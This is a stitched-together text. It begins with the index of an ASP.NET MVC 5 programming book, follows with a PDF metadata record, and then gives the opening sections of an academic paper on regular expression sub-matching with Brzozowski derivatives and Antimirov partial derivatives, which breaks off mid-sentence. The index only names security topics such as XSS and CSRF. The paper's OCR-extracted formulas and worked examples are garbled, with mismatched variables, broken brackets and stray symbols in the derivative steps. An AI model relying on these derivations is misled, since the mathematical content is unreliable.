Ninject, 543–544 Package Manager Console, 309–312 package restore, 308–309 publishing, 325–332 updating, 308 WebActivator, 526 WebBackgrounder, 541–542 NuGet.exe downloading, 312–313 publishing packages, 327–330 NuGet.org as real-world example automated browser testing, 540–541 data access, 535–536 deployments, 539–540 Entity Framework code-based migrations, 536–539 exception logging, 530–532 profiling, 532–536 source code, 522–525 publishing to, 325–327 Null Object pattern, 506, 510 Nustache view engine, 481 O OAuth authentication, 175–178, 180–182 ObjectInstance property, ValidationContext, 425, 426 ObjectType property, ValidationContext, 425, 426 Octopus Deploy, 539–540 Ok method, ApiController, 341 One ASP.NET, 11–12 open redirection attacks, 202–207 Open Web Application Security Project (OWASP), 211 OpenID authentication, 175–180, 181–182 Opera Mobile Emulator, 462 Order.cs file, 138–142 overflow parameters, 293 over-posting attacks, 105, 107, 200–202 overposting, 156 override filters, 448, 455–457 OWASP (Open Web Application Security Project), 211 Owin.dll assembly, 343 owners metadata element, NuGet, 316 P Package Manager Console, 309–312 $package, NuGet PowerShell script parameter, 320 packages, NuGet, 299–332 AnglicanGeek.MarkdownMailer, 543 creating, 312–324 ELMAH, 207, 209, 300, 303–307, 530–532 finding, 301–303 Html5EditorTemplates, 498 installing, 303–307 jQuery and, 220 Lucene.NET, 542–543 Ninject, 543–544 Package Manager Console, 309–312 package restore, 308–309 publishing, 325–332 updating, 308 WebActivator, 526 WebBackgrounder, 541–542 Page class, 499 parameters binding, 347–348 in controller actions, 45–47 incoming action parameters, 340 ParentActionViewContext property, ViewContext, 480 Parrot view engine, 481 Partial HTML helper, 133 partial views rendering helpers, 130–132 specifying, 73–74 PartialView method, 73, 505 PartialViewResult ActionResult type, 73, 506, 509 passive XSS injection, 183–185 Password HTML helper, 129 per-configuration scopes, 350 performance, Ajax, 253–255 permissions, 173 persistance control, 12, 174–175 persistent cookies, 198 Peters, Andrew, 481 plain text, mixing code and, 69 polyfill, 225 POST requests accepting, 101–103 AcceptVerbsAttribute, 513–514 HTML forms, 110–114, 111–114 model binding and, 103–105 overrides, 514–515 Product.cs file, 352 ProductsController, 352–354 profiling, 532–535 progressive enhancement, 218–219 $project, NuGet PowerShell script parameter, 320 Project_Readme.html file, 24 projectUrl metadata element, NuGet, 316 publishing NuGet packages, 325–332 pull requests, 10 QuickSearch method, HomeController, 244 RadioButton HTML helper, 129 Range attribute, DataAnnotations, 145 range inline constraint, 267 Razor, 63–73 code blocks, 68 code expressions, 64–66 code-focused templating for HTML generation, 6 compiling views, 474–476 HTML encoding, 66–67 layouts, 70–72 syntax samples, 68–70 templated Razor delegates, 473–474 ViewStart, 72–73 ReadOnly attribute, DataAnnotations, 157 red/green cycle, 410–411 Redirect method ApiController class, 341 Controller class, 504 RedirectPermanent method, Controller class, 504 RedirectResult ActionResult type, 506, 509 RedirectToAction method, Controller class, 504 RedirectToActionPermanent method, Controller class, 504 RedirectToRoute method ApiController class, 341 Controller class, 504 RedirectToRoutePermanent method, Controller class, 504 RedirectToRouteResult ActionResult type, 506, 509 refactoring, 411 _references.js file, 224, 239 references metadata element, NuGet, 317 regex inline constraint, 267 RegisterRoutes method, 261, 271–272, 278, 281, 489 RegularExpression attribute, DataAnnotations, 145 releaseNotes metadata element, NuGet, 316 Remote attribute, MVC namespace, 145–146 RenderAction HTML helper, 133–135 rendering HTML helpers, 130–135 RenderPartial HTML helper, 133 request-local scopes, 350, 402 Required attribute, DataAnnotations, 141–142 requireLicenseAcceptance metadata element, NuGet, 316 respond.js file, 225 responsive web design, 468–470 result filters, 454–455 role membership permissions management, 173 requiring, 172–174 RoleManager, 175 RoleStore abstraction, 175 Route class, 289–294 route constraints attribute routes, 265–267 traditional routes, 277–278 Route Debugger, 286–288 Route Debugger Controller, 288 route defaults attribute routes, 267–271 traditional routes, 274–277 route values attribute routes, 262–263 traditional routes, 273–274 RouteBase class, 288–289, 421 RouteCollection class, 288–289, 346, 421, 490–491 RouteConfig.cs file, 261, 271, 489, 554 RouteData property RequestContext, 295 ViewContext, 479 RouteLink HTML helper, 131–132 RouteMagic, 486–487 RouteUrlExpressionBuilder, 297 RouteValueExpressionBuilder, 297 routing in AngularJS, 371–373 approaches, 260 area routes, 282–284 attribute routes, 260–271 combining with traditional routes, 278–280 controller routes, 263–265 route constraints, 265–267 route defaults, 267–271 route URLs, 261 route values, 262–263 vs. traditional routes, 280 and unit testing, 271–272 catch-all parameter, 284 compared to URL rewriting, 259–260 custom route constraints, 295–296 debugging routes, 286–288 editable routes, 487–491 ignoring routes, 285–286 multiple parameters per segment, 285 named routes, 280–282 RouteMagic project, 486–487 testing routes, 420–423 traditional routes, 271–280 vs. attribute routes, 280 combining with attribute routes, 278–280 route constraints, 277–278 route defaults, 274–277 route values, 273–274 URL generation, 288–294 with Web Forms, 296–297 runners, 409 S sad path, 102 ScaffoldColumn attribute, DataAnnotations, 156 scaffolding, 14–15, 80–97 ASP.NET Scaffolding, 14–15, 482–486 custom scaffolders, 485–486 edit scenario, 97–103 and the Entity Framework, 82–84 executing scaffolded code, 92–97 templates, 60–62, 81–82, 483–485 scopes, 350 scripted pages, 32 /Scripts directory, 24, 26 Scripts folder AngularJS, 359 jQuery, 219, 223 Search method, HomeController, 112 search this site mechanism, 186 SearchedLocations property, ViewEngineResult, 478 security authentication. See also ASP.NET Identity vs. authorization, 162 claims-based, 12, 162, 173 configuring, 22 cookie-based, 168 external logins, 175–182 OAuth, 175–178, 180–182 OpenID, 175–180, 181–182 Windows, 169–170 authorization vs. authentication, 162 filters, 15 global, 170–172 URL authorization, 166 cookie-stealing attacks, 197–199 CSRF (cross-site request forgery) attacks, 193–197 defense in depth strategy, 211 error reporting, 207–209 logins external, 175–182 redirection process, 168 requiring, 162–172 model binding, 105 open redirection attacks, 168, 202–207 over-posting attacks, 105, 107, 200–202 permissions management, 173 resources, 210–211 role membership, requiring, 172–174 XSS (cross-site scripting) attacks, 183–192 active injection, 186–187 passive injection, 183–185 preventing, 187–193 threat summary, 183 self-validating model, 154 SelfHost.dll assembly, 343 server-side comments, 70 service dependencies, passing, 416–418 service locator design pattern, 388–392 ServiceContainer property, ValidationContext, 425, 426 services, AngularJS, 368–371 custom services, 375–377 session cookies, 194–199 side-by-side installations, 16 SideWaffle, 483–484 single assertion rule, 412 single page application (SPA) AngularJS, 355–384 building controllers, 365–368 building modules, 364–365 building the Web API, 363–364 database setup, 361–362 delete operations, 377–379 details view, 373–374 edit view, 379–384 installing, 359–361 routing, 371–373 services, 368–371, 375–377 creating sample project, 357–359 Single Page Application template, 20 Single Responsibility Pattern (SRP), 409 strongly registered services in MVC, 397 in Web API, 402–403 SiteLayout.html file, 70–72 software design patterns, 385–395 dependency injection, 392–395 inversion of control, 386–388 service locator, 388–392 SPA. See single page application Spark view engine, 477, 481 SpecifyingViews package, 74 spy, 417–418 SRP (Single Responsibility Pattern), 409 SSL, requiring, 182 stack trace, 207–209 StackOverflow.com attack, 198–199 Startup.Auth.cs, 169, 176–180, 181 state, 33 StopRoutingHandler, 285–286 StoreController, 42–45 adding, 42–43 controller actions, 43–45 StringLength attribute, DataAnnotations, 142–144 StringTemplate view engine, 481 strongly typed HTML helpers, 126–127 service locators, 38, 388–389 views, 55–58 SubSonic project, 402 summary metadata element, NuGet, 317 System.ComponentModel.DataAnnotations, 436 System.ComponentModel.DataAnnotations.DataAnnotations, 141–146, 151, 155–158, 424, 436 System.Web namespace, 2, 9 System.Web.Mvc namespace HiddenInput attribute, 158 Remote attribute, 145–146 System.Web.Optimization namespace, 254 System.Web.Routing namespace, 296 System.Web.UI namespace, 2, 429 T T4 (Text Template Transformation Toolkit) templates, 63, 483–485 tags metadata element, NuGet, 316 TAP (Task-based Asynchronous Pattern), 515, 517–518 Task Parallel Library, 515 Task-based Asynchronous Pattern (TAP), 515, 517–518 TDD (test-driven development), 410–412 TempData property, ViewDataContext, 479 templated helpers, 127–128, 492–496 templates ASP.NET Scaffolding, 483–485 bootstrap templates, 13–14 custom templates, 496–498 JSON templates, 246–251 scaffolding, 60–62, 81–82 templated helpers, 492–498 test-driven development (TDD), 410–412 Text Template Transformation Toolkit (T4) templates, 63, 483–485 TextArea HTML helper, 121 TextBox HTML helper, 121 TextBoxFor HTML helper, 127–128, 235–236 third-party view engines, 480–481 thread starvation, 516 title metadata element, NuGet, 316 token verification, 196–197 $toolsPath, NuGet PowerShell script parameter, 320 traditional routes, 271–280. See also routing vs. attribute routes, 280 catch-all parameter, 284 combining with attribute routes, 278–80 route constraints, 277–278 route defaults, 274–277 route values, 273–274 TryUpdateModel method, 105–107, 147–150, 202, 419–420 U UIHint attribute, DataAnnotations, 158 Uniform Resource Locators. See URLs uninstall.ps1 script, 320 unit testing, 408–410 attribute routing and, 271–272 attributes of successful tests, 408–410 automated results, 409 building a test project, 412–415 client-side (JavaScript), 424 controllers, 416–420 default unit tests, 413–414 in isolation, 408–409 New ASP.NET Project dialog, 21 public endpoints only, 409 as quality assurance activity, 409–410 routes, 420–423 small pieces of code, 408 TDD (test-driven development), 410–412 validators, 423–427 unobtrusive Ajax, 225–226 JavaScript, 218–219 unobtrusiveJavaScriptEnabled property, ViewDataContext, 480 UpdateModel method, 105–107, 147, 149–150, 202, 419–420 updating NuGet packages, 308 URLs (Uniform Resource Identifiers), 258 URLs (Uniform Resource Locators), 258–259 authorization, 166 generation, 288–294 resource-centric view, 260 routing. See routing URL helpers, 132–135 user login, requiring, 162–172 UserManager, 175 UserStore, 175 V validation custom error messages, 146–147 custom validation, 150–155, 236–241 happy path, 102 jQuery validation, 233–236 and model binding, 147–148 and model state, 148 MVC 5.1, 561–562 sad path, 102–103 testing validators, 423–427 ValidationContext object, 425–427 ValidationMessage HTML helper, 123–124 ValidationMessageFor HTML helper, 120 ValidationSummary HTML helper, 118 validator object, 240–241 value providers, 104, 347–348, 430–431 .vbhtml extension, 64 vendor scripts, 221 version dependency element, NuGet, 317 version metadata element, NuGet, 316 view engines vs. ActionResult, 482 alternative engines, 480–481 customizing, 442–444, 476–480 Razor, 63–73 code blocks, 68 code expressions, 64–66 code-focused templating for HTML generation, 6 compiling views, 474–476 HTML encoding, 66–67 layouts, 70–72 syntax samples, 68–70 templated Razor delegates, 473–474 ViewStart, 72–73 Web Forms ASP.NET MVC 3, 5–6 global authorization, 171 importance of security, 160 Routing with, 296–297 URL authorization, 166 View method Controller, 504–505 ViewContext, 479 ViewEngineResult, 478 ViewBag, 52–53, 55–59 ViewContext, 479–480 ViewData, 57–58 HTML helpers and, 124–126 ModelMetadata property, 493–494 TemplateInfo property, 493–494 vs. ViewBag, 58 ViewData property, ViewContext, 479 ViewDataDictionary class, 57–58 ViewEngine property, ViewEngineResult, 478 ViewEngineResult, 478 Viewport meta tag, 466 ViewResult ActionResult type, 506, 509 views compiling, 474–476 conventions, 54–55 creating, 60–63 display modes, 9–10, 462–470 extending, 442–445 finding, 478 partial views rendering helpers, 130–132 specifying, 73–74 purpose of, 50 scaffolding. See scaffolding strongly typed, 55–58 view models, 58–60 ViewBag, 52–53, 55–59 Wrox.ProMvc5.Views.AlbumList package, 57 Wrox.ProMvc5.Views.BasePageType package, 476 Wrox.ProMvc5.Views.SpecifyingViews package, 74 /Views directory, 24, 26 _ViewStart.cshtml, 63, 73 virtually stateful platform, 33 Visual Studio auto-implemented properties, 78 project directories, 24–27 SideWaffle extension, 483–484 Visual Studio 2013 IIS Express, 40, 170 MVC 5 changes, 86 Visual Studio Development Server, 40 vNext, 8–9 Wake, William C., 411 Walther, Stephen, 288 weakly typed service locators, 389–392 Web API, 333–354 adding routes, 346–347 ASP.NET MVC 4, 7–9 binding parameters, 347–348 configuring, 342–346 defining, 334 enabling dependency injection, 350 exploring APIs programmatically, 350–351 filtering requests, 349–350 ProductsController example, 352–354 tracing applications, 352 writing and API controller, 335–342 Web API template, 20 Web Forms ASP.NET MVC 3, 5–6 global authorization, 171 importance of security, 160 Routing with, 296–297 URL authorization, 166 Web Forms template, 20 web.config file Ajax settings, 234–235 configuring connections, 92 cookie theft, preventing, 199 customErrors mode, 207–208 directory security, 166 global authorization and, 171 transforms, 208–209, 314–315 WebActivator, 526 WebBackgrounder, 541–542 WebHost.dll assembly, 343 Website project, 523–525 whitelists, 193, 194, 199, 201 Windows authentication, 169–170 Windows Azure authentication, configuring resources, 22–24 Windows Phone Emulator, 462 WinPhone.cshtml file, 473 Writer property, ViewContext, 480 Wrox.ProMvc5.ExtendingMvc package, 430 Wrox.ProMvc5.Views.SpecifyingViews package, 74 WWW-Authenticate headers, 451–453 X XDT (XML Document Transform), 314 XML Document Transform (XDT), 314 XSRF. See CSRF (cross-site request forgery) attacks XSS (cross-site scripting) attacks, 183–192 active injection, 186–187 passive injection, 183–185 preventing, 187–193 threat summary, 183 Y yellow screen of death, 350, 530
{"Source-Url": "https://media.wiley.com/product_data/excerpt/53/11187947/1118794753-9.pdf", "len_cl100k_base": 12534, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 119372, "total-output-tokens": 17955, "length": "2e13", "weborganizer": {"__label__adult": 0.00033020973205566406, "__label__art_design": 0.00061798095703125, "__label__crime_law": 0.0004954338073730469, "__label__education_jobs": 0.00063323974609375, "__label__entertainment": 9.822845458984376e-05, "__label__fashion_beauty": 0.00015485286712646484, "__label__finance_business": 0.00019741058349609375, "__label__food_dining": 0.00014317035675048828, "__label__games": 0.0007982254028320312, "__label__hardware": 0.0010585784912109375, "__label__health": 0.0001571178436279297, "__label__history": 0.0002465248107910156, "__label__home_hobbies": 9.065866470336914e-05, "__label__industrial": 0.00021445751190185547, "__label__literature": 0.00025534629821777344, "__label__politics": 0.0001608133316040039, "__label__religion": 0.0002696514129638672, "__label__science_tech": 0.00908660888671875, "__label__social_life": 9.018182754516602e-05, "__label__software": 0.03759765625, "__label__software_dev": 0.94677734375, "__label__sports_fitness": 0.00012069940567016602, "__label__transportation": 0.0002129077911376953, "__label__travel": 0.00012218952178955078}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 39404, 0.18261]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 39404, 0.3181]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 39404, 0.57948]], "google_gemma-3-12b-it_contains_pii": [[0, 6, false], [6, 6, null], [6, 1795, null], [1795, 3931, null], [3931, 6145, null], [6145, 8672, null], [8672, 11022, null], [11022, 13307, null], [13307, 15279, null], [15279, 17712, null], [17712, 19927, null], [19927, 22202, null], [22202, 24350, null], [24350, 26401, null], [26401, 28517, null], [28517, 30586, null], [30586, 33099, null], [33099, 35397, null], [35397, 37674, null], [37674, 39404, null], [39404, 39404, null], [39404, 39404, null], [39404, 39404, null], [39404, 39404, null], [39404, 39404, null]], "google_gemma-3-12b-it_is_public_document": [[0, 6, true], [6, 6, null], [6, 1795, null], [1795, 3931, null], [3931, 6145, null], [6145, 8672, null], [8672, 11022, null], [11022, 13307, null], [13307, 15279, null], [15279, 17712, null], [17712, 19927, null], [19927, 22202, null], [22202, 24350, null], [24350, 26401, null], [26401, 28517, null], [28517, 30586, null], [30586, 33099, null], [33099, 35397, null], [35397, 37674, null], [37674, 39404, null], [39404, 39404, null], [39404, 39404, null], [39404, 39404, null], [39404, 39404, null], [39404, 39404, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 39404, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 39404, null]], "pdf_page_numbers": [[0, 6, 1], [6, 6, 2], [6, 1795, 3], [1795, 3931, 4], [3931, 6145, 5], [6145, 8672, 6], [8672, 11022, 7], [11022, 13307, 8], [13307, 15279, 9], [15279, 17712, 10], [17712, 19927, 11], [19927, 22202, 12], [22202, 24350, 13], [24350, 26401, 14], [26401, 28517, 15], [28517, 30586, 16], [30586, 33099, 17], [33099, 35397, 18], [35397, 37674, 19], [37674, 39404, 20], [39404, 39404, 21], [39404, 39404, 22], [39404, 39404, 23], [39404, 39404, 24], [39404, 39404, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 39404, 0.0]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
9217705b58784fe73109630da944db495cc984c7
Regular Expression Sub-Matching using Partial Derivatives Martin Sulzmann Hochschule Karlsruhe - Technik und Wirtschaft martin.sulzmann@gmail.com Kenny Zhuo Ming Lu Nanyang Polytechnic luzhuomi@gmail.com Abstract Regular expression sub-matching is the problem of finding for each sub-part of a regular expression a matching sub-string. Prior work applies Thompson and Glushkov NFA methods for the construction of the matching automata. We propose the novel use of derivatives and partial derivatives for regular expression sub-matching. Our benchmarking results show that the run-time performance is promising and that our approach can be applied in practice. Categories and Subject Descriptors F.1.1 [Computation by Abstract Devices]: Models of Computation—Automata; F.4.3 [Mathematical Logic and Formal Languages]: Formal Languages—Operations on languages General Terms Algorithms, Languages, Performance Keywords Regular expression, Automata, Matching 1. Introduction Regular expression matching is the problem of checking if a word matches a regular expression. For example, consider the word $ABAAAC$ comprising of letters $A$, $B$ and $C$ and the regular expression $(A + AB)(BAA + A)(AC + C)$. Symbol $+$ denotes the choice operator. Concatenation is implicit. It is straightforward to see that $ABAAAC$ matches the regular expression. Specifically, we are interested in sub-matchings where for each sub-part of a regular expression we seek for a matching sub-word. To refer to sub-parts we are interested in, we annotate our regular expression with distinct variables: $$(x_1 : (A + AB))(x_2 : (BAA + A))(x_3 : (AC + C))$$ These variables will be bound to the sub-matchings. For example, the first two letters $AB$ of the input word $ABAAAC$ will be bound to $x_1$, the third letter $A$ to $x_2$ and the remainder $AC$ to $x_3$. Many of the real-world implementations of regular expression (sub)matching are very slow for even simple matching problems. For example, consider the pattern $A^n A^n$ and the input string $A^n$ where $A^n$ stands for repeating the letter $A$ $n$-times. As reported in [5], Perl shows some exponential behavior for this example because of its back-tracking matching algorithm. However, the running time of the matching algorithm can be linear in the size of the input string if proper automata-based methods are applied. The works in [5, 12] advocate the use of Thompson NFAs [24]. The NFA non-deterministically searches for possible matchings without having to back-track. Thus, a linear running time can be guaranteed. There are several other NFA constructions which can serve as a basis to build the matching automata. For example, the work in [7] relies on Glushkov NFAs for finding (sub)matchings. In this work, we propose the novel use of Brzozowski’s regular expression derivatives [3] and Antimirov’s partial derivative NFAs [2] for sub-matching which in our view leads to a particular elegant formalization of regular expression sub-matching. We obtain the proof of correctness of regular expression sub-matching by construction. The further advantage of partial derivatives is that on the average the partial derivative NFA is smaller than the Glushkov NFA. There are no ε-transitions compared to Thompson NFAs. We can thus build a highly efficient implementation in Haskell which is the fastest among all Haskell implementations of regular expression sub-matching we are aware of. Our implementation incorporates many of the extensions found in real world regular expressions and we are competitive compared to state-of-the-art C-based implementations such as RE2 and PCRE. In summary, we make the following contributions: - We give a rigorous treatment of regular expression sub-matching (Section 3). - We extend Brzozowski’s regular expression derivatives [3] and Antimirov’s partial derivative [2] to obtain algorithms which implement POSIX and greedy left-most matching (Sections 4 and 5). - We give a comparison among Thompson, Glushkov and partial derivatives NFA approaches (Section 5.4). - We show that our approach can support the many extensions typically found in real world regular expressions (Section 6). - We have built an optimized implementation of regular expression sub-matching with partial derivatives and provide empirical evidence that our implementation yields competitive performance results (Section 7). All our implementations, including reference implementations of greedy left-most matching using Thompson and Glushkov NFAs, are available via http://hackage.haskell.org/package/regex-pderiv Related work is discussed in Section 8. Section 9 concludes. 2. The Key Ideas We motivate the key ideas of our regular expression sub-matching approach via some examples. Our starting point are Brzozowski’s derivatives [3] which have recently been rediscovered for matching a word against a regular expression [16]. A word \( w \) matches a regular expression \( r \) if \( w \) is an element of the language described by \( r \), written \( w \in L(r) \). This problem can be elegantly solved via derivatives as follows. The idea is that \[ lw \in L(r) \iff w \in L(r\backslash \ell) \] where \( r\backslash \ell \) is the derivative of \( r \) with respect to \( \ell \). In language terms, \( L(r\backslash \ell) = \{ w \mid lw \in L(r) \} \). Constructively, we obtain \( r\backslash \ell \) from \( r \) by taking away the letter \( \ell \) while traversing the structure of \( r \). We will shortly see examples involving the workings of the derivative operator \( \ell(r) \). To check that word \( l_1 \ldots l_n \) matches regular expression \( r \), we simply build \( r\backslash(l_1\ldots l_n) \) and test if this regular expression accepts the empty string. Our idea is to transfer derivatives to the pattern sub-matching problem. Patterns \( p \) are regular expressions annotated with pattern variables as shown in the introduction. Variable environments \( \Gamma \) hold the bindings of these pattern variables. The derivative operation in this setting is as follows: \[ lw \vdash p \sim \Gamma \iff w \vdash p\backslash l \sim \Gamma \] Word \( lw \) matches the pattern \( p \) and yields environment \( \Gamma \) if \( w \) matches the pattern derivative of \( p \) with respect to \( \ell \). The construction of pattern derivatives \( p\backslash \ell \) is similar to regular expressions. The crucial difference is that we also take care of sub-matches. As an example we consider pattern \( (x : A + y : AB + z : B)^* \) and the to be matched input \( AB \). To be clear, the pattern’s meaning is \( (x : A) + (y : AB) + (z : B)^* \) but we generally avoid parentheses around variable bindings. Next, we show the individual derivative steps where notation \( p_1 \xrightarrow{\ell} p_2 \) denotes that \( p_2 \) is the derivative of \( p_1 \) with respect to \( \ell \). For the first step, we also show the intermediate steps indicated by subscript notation. For space reasons, we put the concatenated expressions \( (x_1[A] : \epsilon + y_1[A] : AB + z_1[A] : B) \) and \( (x_2[A] : \epsilon + y_1[A] : AB + z_1[A] : B) \) below each other. The purpose of the intermediate steps are: (1) We unfold the Kleene star, (2) generate for clarity fresh variables for each iteration and (3) we apply the derivative operation to each subcomponent. The sub-matchings are stored within in the sub-pattern. This saves us from keeping track of an additional variable environment which describes the current match. For example, \( z_1[A] : \phi \) denotes that \( z_1 \) is so far bound to \( A \) and \( \phi \) (the empty regular expression) is the residue of the derivative operation. We continue with step \( p_1 \xrightarrow{\ell} \) starting with \[ (x_1[A] : \epsilon + y_1[A] : AB + z_1[A] : B) \quad (x_2[A] : \epsilon + y_1[A] : AB + z_1[A] : B) \] In case of concatenated expressions \( p_1 \cdot p_2 \) the derivative operation is applied to the leading expression \( p_1 \). Hence, we find \[ (x_1[A] : \epsilon + y_1[A] : AB + z_1[A] : B) \\ (x_2[A] : \epsilon + y_1[A] : AB + z_1[A] : B) \] For our example, the leading expression \( p_1 \) matches the empty word and therefore the derivative operation is also applicable to \( p_2 \). The individual steps are similar to the steps above, unrolling Kleene star etc. In \( p_1 \), we must replace sub-parts which match the empty word by \( \epsilon \), otherwise, \( \phi \). This is to ensure that any matches involving letter take place “behind” \( p_1 \). Both cases (1) and (2) are combined via choice. \[ (x_1[A] : \epsilon + y_1[A] : AB + z_1[A] : B) \\ (x_2[B] : \phi + y_2[B] : \phi + z_2[B] : \epsilon) \\ (x : A + y : AB + z : B)^* \] We simplify the final pattern by removing parts which are connected to \( \phi \). The thus simplified pattern is \[ (y_1[AB] : \epsilon ; (x : A + y : AB + z : B)^*) \\ (x_1[A] + y_1[A] : B[z_2[B] : \epsilon]) (x : A + y : AB + z : B)^* \] We can directly read out the sub-matchings and collect them in some variable environments. Of course, we only consider sub-matchings whose residues matches the empty word which applies here to all cases. Hence, the first match is \( \Gamma_1 = \{ y_1 : AB \} \) and the second match is \( \Gamma_2 = \{ x_1 : A, z_2 : B \} \). To guarantee that there is a unique, unambiguous match, we impose a specific matching policy such as POSIX or greedy left-most as found in Perl. In the above example, the first match is the POSIX match whereas the second match is the greedy left-most match. As we will see, the first match reported by our derivative matching algorithm is always the POSIX match. Obtaining the greedy left-most match via the derivative matching algorithm is non-trivial because the derivative operation maintains the structure of the pattern whereas the greedy left-most match policy effectively ignores the structure. To obtain the greedy left-most match, we make use of Antimirov’s partial derivatives [2]. Partial derivatives are related to derivatives like non-deterministic automata (NFAs) are related to deterministic automata (DFAs). Derivatives represent the states of a deterministic automata whereas partial derivatives represent the states of a non-deterministic automata. The partial derivative operation \( \ell \) yields a set of regular expressions partial derivatives. The connection to the derivative operation \( \ell \backslash \) in terms of languages is as follows: \[ L(r \backslash \ell) = L(r_1 + \ldots + r_n) \] One of Antimirov’s important results is that the set of partial derivatives of a regular expression and its descendants is finite. For our running example \( (x : A + y : AB + z : B)^* \) we obtain the partial derivatives \[ p_1 = (x : A + y : AB + z : B)^* \\ p_2 = (y : B, (x : A + y : AB + z : B)^*) \] For example, \[ p_1 \backslash \ell = \{ (x : \epsilon ; (x_2[x : A + y : AB + z : B]^*), (y : B)(x : A + y : AB + z : B)^* ) \] That is, choice '+*' is broken up into a set. We can further simplify $(x: e)(x: A + y: AB + z: B)^*$ to $p_1$. Hence, after simplifications $p_1 \setminus A = \{ p_1, (y: B)p_1 \}$. Partial derivatives $p_1$ and $p_2$ are states of an NFA where $p_1$ is the starting as well as final state. The NFA transitions are given in Figure 1. Each transition carries a specific match. Matches associated to transitions are incremental. For example, in case of $(T3)$ the current input $B$ will be added to the current match binding of $z$. The above represents a non-deterministic, finite match automata in style of Laurikari’s NFAs with tagged transitions [12]. Via the partial derivative NFA match automata it is straightforward to compute the greedy left-most match. We follow NFAs, i.e. apply transitions, from left to right in the order as computed by the partial pattern derivative function \( \gamma \cdot p \). Each resulting state is associated with an environment. We label each environment with the corresponding state. The initial state has the empty environment \( \{ \} \). In each transition step, the match function is applied to the environment yielding an updated environment. For input $AB$, we find the following derivation steps \[ \begin{align*} (T1) & \quad p_1 \xrightarrow{x \to A} p_1 \\ (T2) & \quad p_1 \xrightarrow{y \to A} p_2 \\ (T3) & \quad p_1 \xrightarrow{z \to B} p_1 \\ (T4) & \quad p_2 \xrightarrow{y \to B} p_1 \end{align*} \] **Figure 1. Transitions for \((x: A + y: AB + z: B)^*\)** To summarize, the derivative operation maintains the pattern structure by for example breaking apart choice. This becomes clear when consider derivative and partial derivative of $p_1$ w.r.t. $A$: \[ p_1 \setminus A = \{ p_1, (y: B)p_1 \} \] \[ p_1 \setminus A = (x: A + y: A \cdot B)p_1 \] Under a greedy matching policy, we try to maximize the left-most match. As can be seen from our example, matching via derivatives still respects the original pattern structure and therefore we obtain the POSIX match. Partial derivatives break apart the original pattern structure. Therefore, we obtain the greedy left-most match as found in Perl. Next, we formalize this idea. ### 3. Regular Expression Pattern Sub-Matching Figure 2 defines the syntax of words, regular expressions, patterns and environments. $\Sigma$ refers to a finite set of alphabet symbols $A$, $B$, etc. To avoid confusion with the EBNF symbol “\( \cdot \)”, we write “\( \cdot \)” to denote the regular expression choice operator. The pattern language consists of variables, pair, choice and star patterns. The treatment of extensions such as character classes, back-references is postponed until the later Section 6. Environments are ordered multi-sets, i.e. lists. We write \( \Gamma \) to denote multi-set union, i.e. list concatenation. The reason for using multi-sets rather than sets is that we record multiple bindings for a variable $x$. See the upcoming match rule for Kleene star patterns. The reason for using an ordered multi-set is that we will compare the matchings in the order they appear, e.g. from left-to-right. Concatenation among regular expressions and patterns is often left implicit. That is, we may write the shorter form $r_1 r_2$ instead of $(r_1, r_2)$. To omit parentheses we assume that + has a lower precedence than concatenation. Hence, $A + AB$ is a short-hand for $A + (A, B)$ and $x : A + y : AB$ is a short-hand for $(x : A) + (y : AB)$. **Figure 2. Regular Expressions Syntax and Language** For pattern $(xyz: (x: A + y: AB + z: B)^*)$ and input $ABA$ the following matchings are possible: - $\{ xyz: ABA, x: A, z: B, x: A \}$. In the first iteration, we match $A$ (bound by $x$), then $B$ (bound by $z$), and then again $A$ (bound by $x$). For each iteration step we record a binding and therefore treat bindings as lists. We write the bindings in the order as they appear in the pattern, starting with the left-most binding. (VarBase) \[ w \in L(r) \quad w \vdash x : r \leadsto \{ x : w \} \] (VarGroup) \[ w \vdash p \leadsto \Gamma \quad w \vdash x : p \leadsto \{ x : w \} \uplus \Gamma \] (Pair) \[ w_1 \vdash p_1 \leadsto \Gamma_1 \quad w_2 \vdash p_2 \leadsto \Gamma_2 \] \[ w \vdash (p_1, p_2) \leadsto \Gamma_1 \uplus \Gamma_2 \] (ChoiceL) \[ w \vdash p_1 \leadsto \Gamma_1 \quad w \vdash p_1 + p_2 \leadsto \Gamma_1 \] (ChoiceR) \[ w \vdash p_2 \leadsto \Gamma_2 \quad w \vdash p_1 + p_2 \leadsto \Gamma_2 \] \[ w = w_1 \ldots w_n \] (Star) \[ w_i \vdash p \leadsto \Gamma_i \quad \text{for } i = 1, n \] \[ w \vdash p^* \leadsto \Gamma_1 \uplus \ldots \uplus \Gamma_n \] * \[ \{ xyz : ABA, y : AB, x : A \}. * \[ \text{We first match } AB \text{ (bound by } y) \text{ and in the final iteration then } A \text{ (bound } x) \text{.} * \[ \text{For pattern } (xyz : (xy : (x : A + B, y : BAA + A), z : AC + C)) \text{ and input } ABAAC \text{ we find the following matchings:} * \[ \{ xyz : ABAAC, xy : BAA, x : A, y : BAA, z : AC \}. * \[ \{ xyz : ABAAC, xy : ABA, x : AB, y : A, z : AC \}. * \] Next, we formalize greedy left-most matching (like in Perl) followed by POSIX matching to obtain a deterministic matching relation. 3.1 Greedy Left-Most Matching The greedy left-most matching strategy is implemented by Perl and by the 